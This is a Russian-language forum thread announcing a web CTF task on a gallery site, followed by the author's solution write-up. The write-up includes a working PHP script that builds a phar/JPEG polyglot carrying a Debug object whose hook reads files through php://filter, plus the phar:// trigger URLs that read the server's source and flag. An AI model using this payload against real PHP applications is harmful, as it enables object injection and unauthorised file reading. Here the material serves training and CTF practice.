Многие ждали этот таск раньше, но в связи с плотной нагрузкой не было времени из концепта сделать что то целостное. Наконец,на неделе появилось свободное окно и я реализовал задуманное. Отдельно хочу поблагодарить за ценные советы @dooble . Итак,перейдем непосредственно к таску. На этот раз нам предстоит поискать уязвимости на сайте SpaceX, который представляет из себя галерею. В основе таска лежит реальная уязвимость, которая не так очевидна на первый взгляд. Так что (первый хинт) внимательно изучайте все,что найдете. Задание: Сроки: Правила простые, они исторически сложились на площадках античата и рдота: После закрытия задания выкладываются прохождения. В первый пост будет добавлена таблица результатов. Важный момент, который хотелось бы отметить исходя из опыта Task2: === Всем приятного прохождения! === Hint: Десериализация срабатывает не явно,даже если в коде не присутствует unserialize() Hint: Присмотритесь к phar:// Прошли: @Felis-Sapiens @crlf @l1ght @=HALK= @Ereee @gurux13 @Franky_T @Isis @MichelleBoxing @b4zed @Gorbachev @D3N @nix_security @oleg_1va Прохождения
Интересное задание, спасибо @joelblack не сразу врубился где флаг искать, спасибо @dooble за наводку. ну и спасибо @crlf за предсказание
Мой таск базировался на исследовании от 14 августа 2018 года (https://blog.ripstech.com/2018/new-php-exploitation-technique/), поэтому для тех, кто в свое время изучил данную тему,думаю, было не сложно его решать. Полностью пересказывать данное исследование я не буду (для тех кому интересно можете ознакомиться с линком выше и посмотреть соответствующие слайды тут: https://github.com/s-n-t/presentati...n-Vulnerability-Jim-But-Not-As-We-Know-It.pdf ),лишь вкратце скажу,что был обнаружен новый метод эксплуатации PHP object injection без использования php функции unserialize() . Так же,из этого исследования можно узнать, что был найден некий трюк, который позволяет phar файл поместить в фейковый jpg. Основная базовая информация получена,теперь перейдем непосредственно к самому таску. Первое,что необходимо было сделать, это найти файл view.bak (http://task.antichat.com:10004/backup/view.bak), который располагался в папке backup. Детально изучив файл можно увидеть класс Debug который содержит метод __destruct(), который в свою очередь содержит file_get_contents(). Первое что приходит в голову, это PHP Object Injection но смущает отсутствие в коде unserialize(). На этом этапе необходимо вспомнить о phar://. Изучаем дальше нашу галерею и находим форму загрузки (http://task.antichat.com:10004/upload.php). Играемся с загрузкой файлов и понимаем, что ничего, кроме jpg загрузить нельзя (однако @Felis-Sapiens и @crlf обнаружили баг,который был оперативно поправлен, при котором было можно пролить php файл, но с ним все равно ничего бы не получилось сделать). Опираясь на исследование выше - понимаем, что нам необходимо как то встроить phar в jpg. Это можно сделать либо руками (этот метод я как раз опишу),а можно сделать с помощью уже готовых решений, например, https://github.com/kunte0/phar-jpg-polyglot/blob/master/phar_jpg_polyglot.php . Spoiler: phar PHP: <?class Debug{}$jpeg_header_size ="\xff\xd8\xff\xe0\x00\x10\x4a\x46\x49\x46\x00\x01\x01\x01\x00\x48\x00\x48\x00\x00\xff\xfe\x00\x13"."\x43\x72\x65\x61\x74\x65\x64\x20\x77\x69\x74\x68\x20\x47\x49\x4d\x50\xff\xdb\x00\x43\x00\x03\x02"."\x02\x03\x02\x02\x03\x03\x03\x03\x04\x03\x03\x04\x05\x08\x05\x05\x04\x04\x05\x0a\x07\x07\x06\x08\x0c\x0a\x0c\x0c\x0b\x0a\x0b\x0b\x0d\x0e\x12\x10\x0d\x0e\x11\x0e\x0b\x0b\x10\x16\x10\x11\x13\x14\x15\x15"."\x15\x0c\x0f\x17\x18\x16\x14\x18\x12\x14\x15\x14\xff\xdb\x00\x43\x01\x03\x04\x04\x05\x04\x05\x09\x05\x05\x09\x14\x0d\x0b\x0d\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14"."\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\xff\xc2\x00\x11\x08\x00\x0a\x00\x0a\x03\x01\x11\x00\x02\x11\x01\x03\x11\x01"."\xff\xc4\x00\x15\x00\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\xff\xc4\x00\x14\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xda\x00\x0c\x03"."\x01\x00\x02\x10\x03\x10\x00\x00\x01\x95\x00\x07\xff\xc4\x00\x14\x10\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x01\x00\x01\x05\x02\x1f\xff\xc4\x00\x14\x11"."\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x03\x01\x01\x3f\x01\x1f\xff\xc4\x00\x14\x11\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20"."\xff\xda\x00\x08\x01\x02\x01\x01\x3f\x01\x1f\xff\xc4\x00\x14\x10\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x01\x00\x06\x3f\x02\x1f\xff\xc4\x00\x14\x10\x01"."\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x01\x00\x01\x3f\x21\x1f\xff\xda\x00\x0c\x03\x01\x00\x02\x00\x03\x00\x00\x00\x10\x92\x4f\xff\xc4\x00\x14\x11\x01\x00"."\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x03\x01\x01\x3f\x10\x1f\xff\xc4\x00\x14\x11\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda"."\x00\x08\x01\x02\x01\x01\x3f\x10\x1f\xff\xc4\x00\x14\x10\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x01\x00\x01\x3f\x10\x1f\xff\xd9";$phar = new Phar("Debug.phar");$phar->startBuffering();$phar->addFromString("test.txt","test");$phar->setStub($jpeg_header_size." __HALT_COMPILER(); ?>");$o = new Debug();$o->hook ='php://filter/convert.base64-encode/resource=/var/www/html/index.php';$phar->setMetadata($o);$phar->stopBuffering(); На выходе получаем файл Debug.phar. Далее нам необходимо преобразовать его в some.jpg.Я для этого использовал Notepad++. Открываем данный файл в Notepad++ и сохраняем его как some.jpg. Пробуем загрузить его и видим, что данная фейковая картинка отвечает всем требованиям загрузки и как следствие загружается на сервер.После чего кликаем по загруженному изображению и переходим по ссылке,вида: Spoiler: img Code: http://task.antichat.com:10004/view.php?f=upload/ipuue5t4e8bs173r91m3m42odu/111.jpg видим наше изображение.Дальше,что бы уязвимость сработала (в данном случае триггером служит file_exists()) нам необходимо добавить обертку phar:// Spoiler: final Code: http://task.antichat.com:10004/view.php?f=phar://upload/ipuue5t4e8bs173r91m3m42odu/111.jpg В итоге получаем читалку. Дальше читаем .htaccess Spoiler: htaccess Code: #<Files ~ "^flag\.txt"> # Deny from all #</Files> и получаем намек что есть некий flag.txt Spoiler: flag Code: 1_Kn0W_4b0Ut_Ph4R_M0r3 которого при этом нет в текущей директории.Затратив немного времени, понимаем,что он лежит на уровне выше. Однако цель таска была именно поэксплуатировать данную уязвимость,поэтому у кого были проблемы с поиском флага - я хинтовал по поводу пути, так как человек уже понял как использовать уязвимость и поиск флага это лишь вопрос времени. Теперь перейдем к решениям: Spoiler: Решения @Felis-Sapiens @crlf @=HALK= @Ereee @gurux13 @Franky_T @Isis @MichelleBoxing @b4zed @Gorbachev @D3N @l1ght @nix_security @oleg_1va Если я случайно кого то забыл - отпишите в лс. Всем спасибо за участие!